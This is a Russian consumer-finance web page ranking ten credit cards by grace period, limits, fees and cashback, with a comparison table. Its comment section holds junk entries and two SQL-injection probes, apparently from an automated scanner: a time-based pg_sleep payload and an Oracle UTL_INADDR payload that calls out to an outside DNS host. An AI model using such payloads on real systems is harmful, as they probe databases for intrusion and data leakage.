ТОП-10 кредитных карт с лучшим беспроцентным периодом

Кредитные карты существуют десятки лет, но в последние годы они стали особенно актуальными. Причина тому заключается в наличии льготного периода, в который проценты не начисляются. Если использованные кредитные средства будут возвращены на счет в течение срока действия периода, не будут насчитаны никакие переплаты, скрытые проценты и т. п. Однако еще есть много программ с теневыми схемами – комиссиями за снятием или пополнение, повышенной ставкой за каждый день просрочки или ограничением на снятие средств. Здесь собраны лучшие кредитные карты с самыми выгодными условиями для клиентов.

ТОП лучших кредитных карт банков

Идеальная кредитная карта должна обладать льготным периодом (в идеале около 100 дней), возможностью снятия наличных денег, использованием средств без процентов и кэшбэком за покупки. Все перечисленные критерии в конкретной карте могут и не сочетаться, большинство – уж точно, иначе мы не сможем ее рекомендовать нашим читателям. На основании ключевых и дополнительных особенностей были подобраны лучшие кредитные карты России с лояльными к пользователям условиями.

Если суммы на кредитной карте недостаточно или есть желание получить быстрый перевод средств на карту, рекомендуем ознакомиться с нашим рейтингом лучших онлайн микрозаймов. Их главное преимущество – нет необходимости идти в банк, а средства поступают на карту за считанные минуты. Однако в плане процентов данный вариант более дорогой. Там тоже есть льготные периоды, но затем придется доплачивать около 2% в день.

1
Карта «Для покупок в рассрочку»

Карта «Для покупок в рассрочку»
  • Максимальная сумма350 000 рублей
  • Льготный период3 месяца
  • Снятие наличныхБез процентов
Плюсы
бесплатное обслуживание карты;
если вложиться в льготный период, будет 0% переплат;
полностью понятные условия без подводных камней;
рассрочка на 3 месяца в любых магазинах, а не только в сетях-партнерах;
сравнительно высокая сумма кредита обычным клиентам.
Минусы
высокие проценты, если не выплатить кредит в срок.
решение занимает до 1 недели;

Карта с выгодными условиями, предназначенная для покупки крупных товаров на выгодных условиях. Главное ее преимущество – льготный период составляет 3 месяца, а кредитный лимит – до 350 000 рублей. Подходит для оплаты покупок в любых магазинах с терминалами. Не требуется длительное оформление кредита от банка партнера, достаточно провести картой и ввести PIN-код. Деньги моментально спишутся с карты и перечислятся магазину. Схема рассрочки предельно прозрачная и понятная, нет каких-то скрытых переплат. Сумма покупки делится на 3 месяца равными частями.  Если вложиться в период без процентов, не придется доплачивать и рубля, но важно не уходить в просрочку. После 3 месяцев начинают действовать большие проценты (27,9%). Картой имеет смысл пользоваться для дорогостоящих покупок, которые будут выплачены в краткосрочной перспективе. Сложных условий при ее оформлении не предъявляют, но нужна постоянная работа (на последнем месте работы должны быть более 4 месяцев), гражданство России и возраст от 21 до 63 лет.

Карта «Для покупок в рассрочку»
Оставить голос

2
Карта возможностей ВТБ

Карта возможностей ВТБ
  • Максимальная сумма1 000 000 рублей
  • Льготный период110 дней
  • Снятие наличныхБез процентов (при указанных выше условиях)
Плюсы
бесплатное обслуживание счета;
большой льготный период, хотя и с особенностями;
выгодные условия снятия наличных, даже несмотря на комиссию за сумму более 50000 рублей;
клиентам банка ВТБ можно оформить без подтверждения справок о доходах (если оплата происходит на кар
можно получить сравнительно крупную сумму;
Минусы
высокие проценты тем, кто не сможет погасить карту.
кэшбэк нужно покупать отдельно;
много ограничений, в которые нужно вникать или придется платить немалые комиссии;
нужно уследить и не забыть сделать обязательные платежи по карте 20-го числа.

Действительно выгодная карта со снятием наличных в банкоматах без комиссий с бесплатным обслуживанием (вне зависимости от суммы). Еще одно важное достоинство – льготный период до 110 дней. При этом максимальный кредитный лимит – до 1 миллиона рублей. Все перечисленные преимущества делают карту одной из самых привлекательных на рынке, но есть у нее и ряд дополнительных ограничений. Снятие денег можно выполнять лишь в банкоматах ВТБ и не более 50 000 рублей в месяц (чтобы не было процентов). Все что более этой суммы, подразумевает начисление процентов (5,5%, но не меньше 300 рублей) за каждую операцию. К денежным переводам применимо то же самое правило. Важный нюанс – льготные условия действуют только первые 2 месяца с момента открытия карты, затем применяется ставка 34,9%. Иными словами, грейс-период не обновляется даже после закрытия карты.

Что касается кредитного лимита, получить 1 млн рублей смогут далеко не все. Минимальный официальный доход для получения карты должен быть от 15000 рублей. Беспроцентный период по «Карте возможностей» в 110 дней поможет распланировать покрытие затрат на длительный период. При этом минимальные ежемесячные платежи составляют всего 3%, а оставшуюся сумму нужно погасить в конце периода. Если не внести эту сумму, действие льготное периода прекратится 20 числа месяца. Еще одна неоднозначная особенность – это карта с кэшбэком, максимальная сумма возврата от покупки может составлять 1,5%, вот только данная опция платная. За нее нужно заплатить 590 рублей в год. Собранную сумму начисляют баллами на бонусный счет, они конвертируются 1 к 1 с рублями.

Карта возможностей ВТБ
Оставить голос

3
Карта «ВездеДоход»

Карта «ВездеДоход»
  • Максимальная сумма1 500 000 рублей
  • Льготный период120 дней
  • Снятие наличныхНе подпадает под льготный период
Плюсы
большая сумма кредитных средств;
большой кэшбэк до 6% в категориях: одежда, обувь, рестораны, кафе и 2% во всех остальных направления
всего 10,9% после завершения льготное периода на оплату товаров и услуг;
на товары в магазинах-партнерах кэшбэк до 20%.
удобный контроль расходов и статистика счета в мобильном приложении;
Минусы
высокий процент на снятие наличных, перевод на карты и др. платежи – 39,9%, без льготного периода;
чтобы обслуживание было бесплатным, нужно совершать покупки на 5000 рублей в месяц, иначе – 99 руб/м

Интересная кредитная карта с максимальным кредитным лимитом 1,5 млн рублей и беспроцентным периодом до 120 дней. Для получения максимальной суммы нужны большие официальные доходы, но все равно такая возможность есть. При чем решение по заявление принимается за несколько минут, не требуются поручители, справки, нужен только паспорт. Одно из главных преимуществ карты – наличие кэшбэка, который не нужно оплачивать дополнительно. При чем в некоторых категориях достигает 6%. Следующая приятная особенность заключается в отсутствии штрафов за досрочное погашение кредита. Здесь действуют такие же условия по льготному периоду, как и в ВТБ «Карте возможностей» – минимальный платеж 3%, но нужно внести его до 10 числа (а не 20-го как у конкурентов). Зато в случае полного погашения задолженности начинается новый льготный период, можно повторно оформлять займ. В целом карта предлагает хорошее соотношение возможностей и комфорта использования, но подходит только для совершения покупок и оплаты услуг. Переводы, снятие наличных обойдутся дорого, на них не распространяется беспроцентный период.

Карта «ВездеДоход»
Оставить голос

4
Альфа-банк 100 дней без процентов

Альфа-банк 100 дней без процентов
  • Максимальная сумма1 000 000 рублей
  • Льготный период100 дней
  • Снятие наличныхБез процентов до 50000 рублей
Плюсы
большой кэшбэк, хотя и на выборочные магазины;
до 100000 рублей можно получить всего лишь по паспорту.
можно снимать деньги и переводить на другие карты без комиссий (до 50000 рублей в первый год);
нет дополнительных условий для поддержания беспроцентного периода;
низкая кредитная годовая ставка после истечения льготного периода;
удобное приложение для управления счетом;
Минусы
высокая стоимость обслуживания карты;
через год все операции по снятию и переводу средств будут происходить с комиссиями.

Одна из карт с лучшими кредитными условиями и беспроцентным периодом на все покупки на протяжении 100 дней. Снятие наличных тоже без переплат, но с ограничением до 50000 рублей в месяц и только первый год. Все что свыше – 5,9%, минимум 500 рублей, максимальный лимит – 300 000 рублей. Общая сумма кредита не превышает 1000000 рублей. Если сумма не будет выплачена, начнут начитываться проценты (от 11,99%, устанавливаются при заключении договора). В противовес сравнительно прозрачным условиям и низкой процентной ставке банк берет средства за обслуживание счета. Для карты Gold с лимитом – 700000 рублей ежегодный сбор – 2990 рублей, а для Platinum с 1 млн рублей на счету – 5490 рублей. Во-первых, сумма достаточно высокая, во-вторых, многие банки не берут денег за обслуживание счетов. Если нужна карта с прозрачными условиями, это хороший вариант, ведь стоимость обслуживания окупается кэшбэком, он достигает 33%.

Альфа-банк 100 дней без процентов
Оставить голос

5
Карта «Все что надо»

Карта «Все что надо»
  • Максимальная сумма1 500 000 рублей
  • Льготный период120 дней
  • Снятие наличныхБез комиссий
Плюсы
3% кэшбэк на абсолютно все покупки;
большой кредитный лимит.
есть приложение для контроля расходов;
не начисляются комиссии за оплату ЖКХ, покупки, переводы и снятие средств (до 50000 рублей);
не нужны ежемесячные оплаты счетов, реально 120 дней без процентов;
Минусы
сложности оформления карты, требуют много документов.

Кредитная карта с приятными условиями, в том числе 3% кэшбэк на все покупки. Уникальное предложение действует и на беспроцентный период – 120 дней без переплат и дополнительных платежей. Снимать деньги можно без ограничений по количеству операций и их сумме. При столь выгодных остальных условиях, кредитный лимит может достигать 1,5 млн рублей. Есть здесь и пара нюансов, один из них – кэшбэк начисляется не рублями, а бонусами, которые засчитываются только в следующем месяц и могут быть потрачены на покупки от 1500 рублей. Следующий момент – беспроцентный период на покупки действует только 90 дней, затем еще 30 дней штрафы не начисляются, но и тратить средства нельзя до момента уплаты долга. Стоимость обслуживания в год составляет 1490 рублей, а для владельцев «Премиум» – бесплатно. Процентная ставка после завершения льготное периода составляет от 13,9% и может достигать до 29,9% в зависимости от остальных условий.

Карта «Все что надо»
Оставить голос

6
МТС Кэшбэк

МТС Кэшбэк
  • Максимальная сумма1 000 000 рублей
  • Льготный период111 дней
  • Снятие наличных3,9% от суммы + 350 рублей
Плюсы
бесплатное обслуживание при тратах с карты более 8000 рублей в месяц, иначе 99 рублей;
выплата кэшбэка происходит еженедельно;
моментальное рассмотрение заявки.
не требуется подтверждение дохода;
нет дополнительных требований для бесплатного обслуживания;
прозрачные условия кредитной карты;
Минусы
нет снятия наличных без процентов.

Простая кредитная карта с льготным периодом до 111 дней без особо сложных условий использования. У нее бесплатный выпуск и недорогое обслуживание (может быть бесплатным). МТС банк предлагает кредитный лимит до 1 млн рублей, которые можно использовать как для оплаты товаров быта, питания, так и рефинансирования карт других банков. Многим владельцам карты нравится высокий кэшбэк: на кафе и рестораны, одежду, детские товары и доставку еды – до 5%.  В магазинах партнерах и того больше – до 25%. Правда, он начисляется баллами на следующей неделе, которые затем можно обменять на скидку. Кредитная карта предлагает бонусную программу для пользователей мобильного оператора МТС. Для оформлениия небольшой суммы будет достаточно паспорта (для больших сумм нужен еще СНИЛС).

МТС Кэшбэк
Оставить голос

7
Тинькофф Платинум

Тинькофф Платинум
  • Максимальная сумма700 000 рублей
  • Льготный периодДо 120 дней
  • Снятие наличных2,9% + 290 рублей
Плюсы
бесплатный выпуск карты с доставкой курьером;
за покупки клиент получает бонусы.
лояльное отношение к клиентам, которые желают рефинансировать кредит;
много вариантов бонусных программ;
рассрочка без процентов на большой период;
Минусы
выгодная рассрочка только у партнеров банка;
есть условия на использование бонусных баллов.

Это карта, которую можно использовать как с кредитным лимитом на рассрочку, так и в качестве обычной дебетовой карточки. Оформления происходит онлайн без посещения каких-либо учреждений, карту доставляют курьером. К плюсам следует отнести низкие требования к заемщику (достаточно паспорта) и высокая вероятность одобрения. При определенных условиях клиент может получить дополнительные бонусы: 12 месяцев без платы за обслуживание, 2000 рублей при тратах от 5000 рублей или 120 дней без процентов при условии оплаты кредита другого банка. В обычных условиях клиенты могут воспользоваться кредитным лимитом до 700 тыс. рублей на рассрочку до 55 дней. Небольшой льготный период компенсирует скромная ставка – от 12% годовых. Годовое обслуживание стоит 590 рублей.

Тинькофф Платинум
Оставить голос

8
Росбанк (Можно все)

Росбанк (Можно все)
  • Максимальная сумма1 000 000 рублей
  • Льготный периодДо 62 дней
  • Снятие наличных4,9% + 290 рублей
Плюсы
выгодная программа Travel-Бонус;
информативное мобильное приложение.
невысокая цена годового обслуживания, при тратах от 15 000 рублей можно и не платить;
нет скрытых условий использования;
при больших тратах можно получить повышенный кэшбэк, вплоть до 10%;
Минусы
высокая комиссия за снятие.
короткий беспроцентный период;
льготный период не распространяется на переводы, пополнение карт, снятие наличных и подобные;

Универсальная кредитная карта, которая подходит людям без особых требований. Ей можно пользоваться как обычной дебетовой, при наличии личных средств. У нее сбалансированный грейс-период, сумма кредита и классическая бонусная программа. Карта #МожноВСЁ Росбанка выпускается в системе Visa Platinum, стоимость ее обслуживания 79 рублей. Ее платить не придется при покупках от 15000 рублей и в первый месяц. Чтобы получить кредитный лимит до 100 000 рублей, достаточно паспорта, на большие суммы – справка 2-НДФЛ. Максимальный лимит по карте – 1 млн рублей. Снятие банковских средств происходит с комиссией 4,9% + 290 рублей, зато лимит на снятие в день – до 500 тыс. рублей. Владельцы могут выбрать бонусную программу – большой кэшбэк или баллы в OneTwoTrip. Льготный период на покупку товаров и услуг действует до 62 дней, выйдя за его рамки начинают насчитываться проценты 25,9% (меняются ежемесячно). Есть и минимальный ежемесячный платеж в размере 3% от суммы.

Росбанк (Можно все)
Оставить голос

9
Райффайзен 110 дней

Райффайзен 110 дней
  • Максимальная сумма600 000 рублей
  • Льготный периодДо 110 дней
  • Снятие наличныхБез процентов (с 3 третьего месяца до 50 000 рублей)
Плюсы
быстрое принятие решения о выдаче кредитки;
действует акция «Наличные без комиссии», в рамках которой можно снимать деньги на любую сумму в рамк
комиссию за обслуживание можно не платить при тратах от 8000 рублей, если меньше, то 150 рублей в ме
честные условия использования кредитного лимита.
Минусы
высокая ставка за снятие наличных – 49% годовых;
есть комиссия при пополнении карты на сумму до 30000 рублей в кассах.
нет кэшбэка;

Кредитная карта с грейс-периодом 110 дней, которая не требует дополнительных оплат за обслуживание при условии совершения покупок на сумму свыше 8000 рублей. Первые полтора месяца SMS-информирование бесплатно, затем нужно либо платить, либо отключать услугу. Можно получить кредитный лимит до 600 000 рублей, достаточно иметь в наличии только паспорт. Получить карту можно либо в отделении банка, либо курьером домой (бесплатно). Льготный период здесь не безусловный, чтобы его продлить на максимум до 110 дней, нужно делать минимальные платежи 4% в месяц. Банк предлагает особенно выгодные условия покупки по программе «Скидки для вас», согласно которой можно получить индивидуальные предложения в магазинах-партнерах.

Райффайзен 110 дней
Оставить голос

10
Тинькофф Drive

Тинькофф Drive
  • Максимальная сумма700 000 рублей
  • Льготный периодДо 55 дней
  • Снятие наличных390 рублей (390 рублей + 2% от 100 тыс. рублей)
Плюсы
выгодная кредитная ставка – 15%;
много бонусов за оплату автомобильных товаров и услуг;
подходит для использования в качестве дебетовой с личными средствами на счету;
срок действия баллов 3 года.
Минусы
минимальный ежемесячный платеж – 8% от суммы кредита (не меньше 600 рублей).
обслуживание карты стоит 990 рублей и нет возможности снизить эту сумму;

Особая кредитная карта для людей, которые много и часто передвигаются на автомобиле. Согласно условиям кредитования, владелец получает повышенный кэшбэк на автомобильные траты. Сюда относится 10% за оплату топлива и покупку в магазинах при АЗС, оплату любого страхового полиса в Тинькофф Страховании, 5% на все автоуслуги (шиномонтаж, платные дороги, мойки, СТО), 5% за оплату штрафов ГИБДД и 1% на любые покупки. Бонусы хранятся 3 года. Также действует особая рассрочка на 12 месяцев без процентов, но только в магазинах партнерах. Может использоваться как дебетовая карта, в любом случае выпуск и обслуживание на год стоит 990 рублей. За снятие наличных с кредитного счета в размере до 100 000 рублей комиссия 390 рублей (свыше 100 тыс рублей – 390 рублей + 2%). Карта будет интересна только автолюбителям.

 

Тинькофф Drive
Оставить голос

Сравнительная таблица


Максимальная суммаЛьготный периодСнятие наличных
Карта «Для покупок в рассрочку»350 000 рублей3 месяцаБез процентов
Карта возможностей ВТБ1 000 000 рублей110 днейБез процентов (при указанных выше условиях)
Карта «ВездеДоход»1 500 000 рублей120 днейНе подпадает под льготный период
Альфа-банк 100 дней без процентов1 000 000 рублей100 днейБез процентов до 50000 рублей
Карта «Все что надо»1 500 000 рублей120 днейБез комиссий
МТС Кэшбэк1 000 000 рублей111 дней3,9% от суммы + 350 рублей
Тинькофф Платинум700 000 рублейДо 120 дней2,9% + 290 рублей
Росбанк (Можно все)1 000 000 рублейДо 62 дней4,9% + 290 рублей
Райффайзен 110 дней600 000 рублейДо 110 днейБез процентов (с 3 третьего месяца до 50 000 рублей)
Тинькофф Drive700 000 рублейДо 55 дней390 рублей (390 рублей + 2% от 100 тыс. рублей)

Что лучше кредит или карта с кредитным лимитом?

Ответ на вопрос будет зависеть от целей. Кредитная карта с льготным периодом – удобный продукт для получения рассрочки на небольшие траты. Их удобно использовать для краткосрочных кредитов, приблизительно на время действия беспроцентного периода, так как дальше начисляются повышенные проценты и комиссии. Обычные кредиты больше подходят для длительной рассрочки покупки и больших сумм. Главная их выгода – меньшие годовые проценты.

Кредитные карты – удобный финансовый продукт для покрытия текущих нужд, которые будут уплачены в ближайшие несколько месяцев. Если удастся вложиться в оговоренный срок, владелец карты не заплатит банку процентов, только сумму кредита. Вот только многие из них имеют много скрытых условий, которые «съедают» ожидаемую выгоду. Нужно подходить к выбору с умом и изучать все условия использования. Здесь же представлены самые выгодные кредитные карты на отечественном рынке с длинным льготным периодом и приятными дополнительными условиями: бонусами, кэшбэками, возможностью снятия наличных и т. п.

Oxsy.ru
Комментарии 5
1acuaBbetdh9Gy

1

Отзыв был полезен?
0
1

Va9uPTQJ’;select pg_sleep(6); —

Отзыв был полезен?
0
1

1||UTL_INADDR.get_host_address(‘dns.’||’sqli.013405.12002-85.12002.31bfd.1.bxss’||’.me’)

Отзыв был полезен?
0
AFG4C27D

1

Отзыв был полезен?
0
1

1

Отзыв был полезен?
0
1

1

Отзыв был полезен?
0
Добавить комментарий
Нажав на кнопку вы соглашаетесь с правилами обработки персональных данных и политикой конфиденциальности

Ваш адрес email не будет опубликован.

Комментарий добавлен
Авторизуйтесь
Для добавления отзывов, комментариев и участия в голосованиях. Войти на сайт
Последние комментарии Закрыть
Показать ещё